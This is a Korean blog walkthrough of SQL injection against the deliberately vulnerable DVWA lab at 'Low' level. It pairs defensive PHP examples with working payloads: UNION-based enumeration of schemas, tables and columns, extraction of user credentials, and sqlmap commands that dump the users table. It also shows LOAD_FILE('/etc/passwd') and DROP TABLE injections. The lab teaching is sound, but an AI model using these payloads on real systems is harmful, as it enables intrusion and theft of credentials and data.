상세 컨텐츠

본문 제목

DVWA : SQL Injection - Low level

Vulnerability Assessment/Web Application

by DarkSoul.Story 2025. 1. 5. 22:33

본문

반응형
이 문서에 포함된 어떠한 내용도 불법적이거나 비윤리적인 목적으로 보안 도구나 방법론을 사용하도록 가르치거나 장려하지 않습니다. 항상 책임감 있는 태도로 행동하세요. 여기에 설명된 도구나 기법을 사용하기 전에 개인 테스트 환경 또는 허가를 받았는지 확인하세요.

 

[ 환경 ]

DVWA v1.9
Burp Suite Community Edition v2024.11.2

1. Overview

SQL Injection은 공격자가 웹 애플리케이션에서 SQL 쿼리를 처리하는 방식을 악용해 악성 SQL 코드를 삽입하는 공격이다. 이를 통해 데이터베이스의 민감한 정보를 유출하거나, 인증을 우회하고, 데이터를 수정하거나 삭제하며, 심지어 데이터베이스 서버 자체를 제어할 수도 있다. 이 취약점은 데이터 입력값에 대한 검증이 부족하거나 동적 SQL 쿼리를 안전하게 구성하지 않은 경우 발생한다.

 

ㅁ SQL Injection 취약점 발생 원인

사용자 입력 검증 부족

  • 애플리케이션이 사용자로부터 입력받은 데이터를 SQL 쿼리에 직접 삽입하면서 검증 과정을 생략

동적 쿼리 사용

  • 사용자 입력값을 포함한 동적 SQL 쿼리를 실행할 때, 데이터와 명령어의 경계를 구분하지 못함

ORM(Object-Relational Mapping) 보호 기능 비활성화

  • ORM을 사용할 때, 보안 기능(예: 쿼리 파라미터 바인딩)을 올바르게 적용하지 않음

취약한 데이터베이스 구성

  • 데이터베이스 사용자 계정에 과도한 권한이 부여되어 있는 경우, 성공적인 공격이 더 큰 피해로 이어질 수 있음

ㅁ SQL Injection 공격 시나리오

인증 우회 : SQL 쿼리에 논리 조건을 삽입하여 인증을 무력화

SELECT * FROM users WHERE username = 'admin' AND password = '1234' OR '1'='1';

 

 

데이터 유출 : UNION SELECT를 이용해 데이터베이스의 민감한 데이터를 추출

SELECT username, password FROM users WHERE id = 1 UNION SELECT database(), user();

 

데이터 변조 및 삭제 : 삽입된 명령으로 데이터를 변경하거나 삭제

UPDATE users SET password = 'hacked' WHERE id = 1; DROP TABLE users;

 

쉘 명령 실행 : 일부 데이터베이스에서는 시스템 명령어 실행을 통해 원격 서버 제어 가능

SELECT LOAD_FILE('/etc/passwd'); -- Linux 시스템의 패스워드 파일 읽기

 

ㅁ SQL Injection 취약점 대응방안

Prepared Statement

  • Prepared Statements는 쿼리와 데이터를 분리하여 SQL Injection을 방지한다.
  • 사용자 입력값을 쿼리와 분리하여 SQL 명령어로 인식되지 않도록 처리
<?php
// 데이터베이스 연결
$conn = new mysqli("localhost", "username", "password", "database");

// 사용자 입력 받기
$username = $_POST['username'];
$password = $_POST['password'];

// 안전한 Prepared Statement 사용
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);

// 쿼리 실행
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows > 0) {
    echo "Login successful";
} else {
    echo "Invalid credentials";
}

$stmt->close();
$conn->close();
?>

 

입력값 검증 추가

  • 입력값을 검증하여 예상치 못한 데이터가 입력되는 것을 차단한다.
<?php
// 데이터베이스 연결
$conn = new mysqli("localhost", "username", "password", "database");

// 사용자 입력 받기
$username = trim($_POST['username']);
$password = trim($_POST['password']);

// 입력값 검증
if (!preg_match("/^[a-zA-Z0-9_]{3,20}$/", $username)) {
    die("Invalid username format");
}

// Prepared Statement 사용
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);

// 쿼리 실행
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows > 0) {
    echo "Login successful";
} else {
    echo "Invalid credentials";
}

$stmt->close();
$conn->close();
?>

 

ORM 사용

  • SQLAlchemy, Django ORM과 같은 ORM을 사용해 데이터베이스와의 상호작용을 안전하게 처리
  • 쿼리를 작성하는 대신 ORM 메서드로 데이터베이스 작업 수행

입력값 검증 및 화이트리스트 적용

  • 입력값을 철저히 검증하고, 허용된 값만 사용
  • 예: 숫자 필드는 정규식으로 숫자만 허용

최소 권한 원칙

  • 데이터베이스 계정에 최소 권한만 부여하여 공격 성공 시 피해를 제한
  • 예: 애플리케이션 계정에는 SELECT, INSERT, UPDATE 권한만 부여

에러 메시지 숨김

  • 데이터베이스 에러 메시지가 사용자에게 노출되지 않도록 설정
  • 예: SQL 오류를 로그에만 기록하고 사용자에게는 일반적인 에러 메시지 제공

웹 애플리케이션 방화벽(WAF) 사용

  • SQL Injection 패턴을 탐지하고 차단하는 WAF를 설정
  • WAF는 기존 애플리케이션 수정 없이도 추가적인 방어층 제공

주기적인 보안 점검

  • 정기적인 보안 점검 및 모의 해킹을 통해 SQL Injection 취약점을 사전에 탐지

SQL Injection은 데이터베이스 보안에서 가장 흔하고 심각한 취약점 중 하나로, 공격 성공 시 심각한 결과를 초래할 수 있다. Prepared Statement와 ORM을 활용한 안전한 쿼리 작성, 입력값 검증, 최소 권한 적용 등 다층적인 보안 대책을 통해 이러한 취약점을 방지해야 한다. 또한, 정기적인 보안 점검과 교육을 통해 개발자와 운영자의 보안 인식을 지속적으로 향상하는 것이 중요하다.

 

2.  Source code analysis

[그림 1] Low level Source code

 

사용자가 제공한 id 값을 기반으로 데이터베이스에서 정보를 조회하고 결과를 출력하는 기능을 구현한다. 그러나 보안 검증이 부족하여 SQL 인젝션 취약점이 존재한다.

사용자 입력값 가져오기

$id = $_REQUEST[ 'id' ];

 

  • 사용자가 요청한 id 값을 가져온다.
  • 이 입력값은 SQL 쿼리에 사용되며, 이 과정에서 입력값 검증이 이루어지지 않는다.

데이터베이스 조회

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
  • 입력받은 id 값을 포함한 SQL 쿼리를 생성한다.
  • 예: 사용자가 id=1을 입력하면 쿼리는 SELECT first_name, last_name FROM users WHERE user_id = '1';가 된다.
  • mysql_query( ) : 쿼리를 실행하여 결과를 가져오며 , 실행 중 오류가 발생하면 mysql_error()를 사용해 디버깅 정보를 출력한다.

결과 가져오기

$num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        $i++;
    }
  • mysql_numrows( ) : 결과로 반환된 행(row)의 개수를 확인한다.
  • while 루프 : 결과가 여러 행인 경우, 각 행의 데이터를 반복 처리하며, 각 행에서 first_name과 last_name 값을 추출하고 출력한다.
  • mysql_result( ) 쿼리 결과에서 특정 행과 열의 값을 가져온다.
  • 예: mysql_result($result, $i, "first_name")는 $result의 i번째 행에서 first_name 열의 값을 가져온다.

ㅁ 보안상의 문제점

SQL 인젝션 취약점

  • 사용자 입력값 $id가 쿼리 문자열에 직접 포함되므로 SQL 인젝션 공격이 가능하다. 
  • 예: 사용자가 id=1' OR '1'='1을 입력하면 쿼리는 다음과 같이 변경된다.
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';

 

  • 이 쿼리는 모든 사용자 데이터를 반환하게 된다.

에러 정보 노출

  • 입력값 $id에 대해 타입 확인 또는 유효성 검사가 이루어지지 않는다.
  • 예: 숫자만 허용해야 할 경우 문자열이 포함된 입력도 처리될 수 있다.

구식 데이터베이스 함수 사용

  • mysql_* 함수는 더 이상 PHP에서 지원되지 않으며, PDO 또는 MySQLi를 사용하는 것이 권장한다.

 

3. Practical exercises

User ID 입력란에 1, 2, 3을 입력하면, 사용자의 First_nameSurname을 반환하는것을 확인할 수 있다.

[그림 2] 사용자 정보 반환

 

Burp Suite로 Request를 Intercept 하여 확인해 보면 입력한 값은 id 파라미터에 들어가며 GET으로 요청하는 것을 확인할 수 있다. 또한 응답값은 이에 대한 내용을  전달하는 것을 알 수 있다.

[그림 3] Intercept

 

SQL Injection 공격에 취약한지 확인하기 위해 입력 필드에 작은따옴표(')를 입력하고 응답을 관찰해 보자.

[그림 3] 입력 필드에 ' 입력

 

오류 메시지가 표시되거나 빈 페이지로 리디렉션 되는 경우 SQL Injection에 취약할 수 있다. [그림 3]과 같이 작은따옴표를 입력하였을 때 제대로 처리하지 못하여  SQL 쿼리에서 구문 오류가 발생했음을 나타낸다. 공격자가 이 취약점을 악용하여 데이터베이스 쿼리를 조작하고 잠재적으로 민감한 정보를 추출하거나 무단 작업을 수행할 수 있으므로 이 동작은 SQL Injection 취약점의 특징이다. 이로써 id 파라미터가 SQL Injection에 취약한다는 것을 알 수 있다.

[그림 4] MySQL 쿼리 오류 메시지

 

SQL Injection 취약점이 존재하는 것을 확인하였으므로, 민감한 정보를 검색하기 위해 ' OR 1=1#를 입력한다. ' OR 1=1#에 대한 응답을 확인하면 [그림 4]와 같이 관리자의 이름을 포함하여, 사용자 정보가 출력되면서 SQL injection이 성공적으로 exploit 된 것을 확인할 수 있다. 사용자 정보가 출력되는 이유는 SQL 쿼리에 사용자 입력을 그대로 삽입하기 때문이다. 

SELECT first_name, last_name FROM users WHERE user_id = '' OR 1=1#';
  • OR 1=1: 항상 참이 되는 조건
  • # : MySQL에서 주석 처리를 의미하며, 이후 내용은 무시

1=1조 건은 항상 참이므로, 테이블의 모든 행이 결과에 포함되어, 결과적으로 데이터베이스의 모든 사용자 정보가 반환된다. 이는 애플리케이션이 적절한 유효성 검사나 입력값 검사등이 없어 데이터베이스에서 데이터를 검색하여 공격자가 민감한 정보를 추출할 수 있다는 것을 의미한다.

[그림 4] 민감한 정보 출력

 

ㅁ 데이터베이스의 버전을 확인

' union select null, version() #

[그림 5] 테이터베이스 버전 확인 (MySQL 5.5.47-0ubuntu0.14.04.1)

 

ㅁ 데이터베이스의 메타데이터를 조회하여, 테이블 이름을 확인 (MySQL 5.5.47-0 ubuntu0.14.04.1)

 ' UNION SELECT schema_name, NULL FROM information_schema.schemata #

‘ UNION SELECT table_name, NULL FROM information_schema.tables # // MySQL 10.1.26

 

UNION 연산자는 두 개의 SELECT 쿼리의 결과를 하나로 결합하는 데 활용된다. 이 기법은 정상적인 애플리케이션 쿼리에 악의적인 데이터를 삽입하여, 공격자가 의도하지 않은 데이터를 검색할 수 있도록 한다. 예를 들어, 공격자는 원래 쿼리에 UNION을 이용해 추가적인 데이터 조회를 수행할 수 있다. 

SELECT first_name, last_name FROM users WHERE user_id = '1';

 

공격자는 id 값에 1' UNION SELECT schema_name, NULL FROM information_schema.schemata#를 삽입하여 다음과 같은 최종 쿼리를 생성한다.

SELECT first_name, last_name FROM users WHERE user_id = '1' 
UNION 
SELECT schema_name, NULL FROM information_schema.schemata#;

 

이 쿼리는 users 테이블에서 사용자 ID가 1인 사용자의 first_name과 last_name을 반환하는 원래 쿼리와 함께, UNION을 통해 information_schema.schemata 테이블의 schema_name 값을 추가적으로 반환하여, 결과적으로 공격자는 데이터베이스 서버에 존재하는 모든 데이터베이스 이름을 얻을 수 있다.

[그림 6] 데이터베이스의 메타데이터를 조회하여, 테이블 이름 확인

 

ㅁ User 테이블 구조 확인

' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #

 

information_schema.columns는 데이터베이스에 존재하는 모든 테이블의 칼럼 정보를 저장하는 MySQL의 시스템 테이블로,  데이터베이스 내 특정 테이블의 칼럼 이름(열 이름)을 확인하는 데 활용된다. 이를 통해 공격자는 데이터베이스의 구조를 분석하고 민감한 데이터를 추출할 수 있다. 주요 필드는 아래와 같다.

필드명 설명
table_name 컬럼이 속한 테이블의 이름
column_name 테이블의 각 컬럼 이름
data_type 각 컬럼의 데이터 유형

 

WHERE table_name = 'users' 조건은 특정 테이블(예: users)에 속한 칼럼만 선택하도록 필터링하며, 이를 통해 전체 데이터베이스가 아닌 공격 대상 테이블의 열 정보만 확인할 수 있다. 공격 대상 애플리케이션의 쿼리가 두 개 이상의 필드를 반환하는 경우, UNION 연산에서 필드 수를 일치시키기 위해 NULL이 사용된다. NULL은 필드 데이터 타입에 무관하게 사용할 수 있는 자리표시자이다.

 

최종적으로 실행되는 쿼리는 다음과 같다.

SELECT first_name, last_name FROM users WHERE user_id = '1' 
UNION 
SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users' #;

 

이 쿼리는 두 가지 주요 작업을 수행한다. 먼저, 원래의 쿼리는 users 테이블에서 user_id가 1인 사용자의 first_name과 last_name을 반환한다. 그런 다음, 공격자가 삽입한 UNION 쿼리를 통해 MySQL의 information_schema.columns 테이블에서 users 테이블에 속한 모든 열(column) 이름을 추가적으로 조회한다. 여기서 NULL은 기존 쿼리의 두 번째 필드(last_name)와 필드 수를 맞추기 위해 사용된 자리표시자이다.

 

결과적으로, 실행된 쿼리는 users 테이블의 사용자 정보(예: first_name, last_name)와 함께, information_schema.columns 테이블에서 추출한 users 테이블의 열 이름 목록을 결합한 결과를 반환한다.

[그림 7] User 테이블 구조 확인

 

ㅁ users 테이블에서 사용자 이름과 비밀번호 확인

information_schema.columns 테이블에서 추출한 users 테이블의 열 이름 목록을 확인 한 후 사용자 이름과 비밀번호를 확인해 보자.

' UNION SELECT user, password FROM users #

[그림 8] users 테이블에서 사용자 이름과 비밀번호 확인

 

ㅁ SQL injection 자동화 도구 SQLMap을 이용하여, 데이터베이스명 확인 (Python 버전의 SQLMap)

가장 기본적으로 Burp Suite로 Request를 Intercept 하여, txt 파일로 저장한다.

[그림 9] Burp Suite로 Request를 Intercept하여, txt 파일로 저장

 

txt 파일로 저장하였다면, 다음 명령어를 이용하여 데이터베이스명을 확인한다.

sqlmap.py -r SQL_Request.txt --dbs
  • -r SQL_Request.txt : HTTP 요청을 저장한 파일을 기반으로 SQL Injection 테스트를 수행
  • --dbs : 데이터베이스 서버에 존재하는 데이터베이스 목록을 검색

[그림 10] SQLMap을 이용하여 데이터베이스명 확인

 

[그림 10]을 살펴보면 sqlmap이 id 파라미터에서 SQL Injection 취약점을 성공적으로 식별했으며, 여러 SQL Injection 유형을 테스트한 결과 오류 기반, 시간 기반, UNION 기반 공격이 가능하다는 것을 확인했다. SQL injectiom 공격을 진행하여, MySQL 데이터베이스 서버에 존재하는 dvwa와 information_schema라는 데이터베이스 이름 확인하였다. 사용한 Pyload는 아래와 같다.

Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(4034,CONCAT(0x5c,0x7162706a71,(SELECT (ELT(4034=4034,1))),0x71786b7a71)) AND 'wkmy'='wkmy&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2536 FROM (SELECT(SLEEP(5)))BrLR) AND 'BCJP'='BCJP&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7162706a71,0x4e486a75787169766643566f67516f5a6963585556445046514e4b7766746f5a6a4c5a476e6e7375,0x71786b7a71),NULL-- -&Submit=Submit

 

ㅁ SQL injection 자동화 도구 SQLMap을 이용하여, dvwa 데이터베이스의 테이블 정보 확인

sqlmap.py -r SQL_Request.txt -D dvwa -tables

[그림 11] SQLMap을 이용하여 dvwa 데이터베이스의 테이블 정보 확인

 

 

[그림 11]을 살펴보면 sqlmap이 SQL injection에 취약한 id 파라미터를 이용하였다. 여러 SQL Injection 기술(Error-Based, Time-Based, Union-Based)을 사용하여 테스트 진행하여 dvwa 데이터베이스에 있는 테이블은 guestbook과 users 인 것을 확인하였다. 

 

ㅁ SQL injection 자동화 도구 SQLMap을 이용하여, users 테이블의 모든 데이터를 확인 및 덤프 후 dvwa 사용자에 대한 비밀번호 확인

sqlmap.py -r SQL_Request.txt -D dvwa -T users --dump-all

[그림 11] SQLMap을 이용하여 users 테이블의 모든 데이터를 확인 및 덤프 후 dvwa 사용자에 대한 비밀번호 확인

 

반응형

관련글 더보기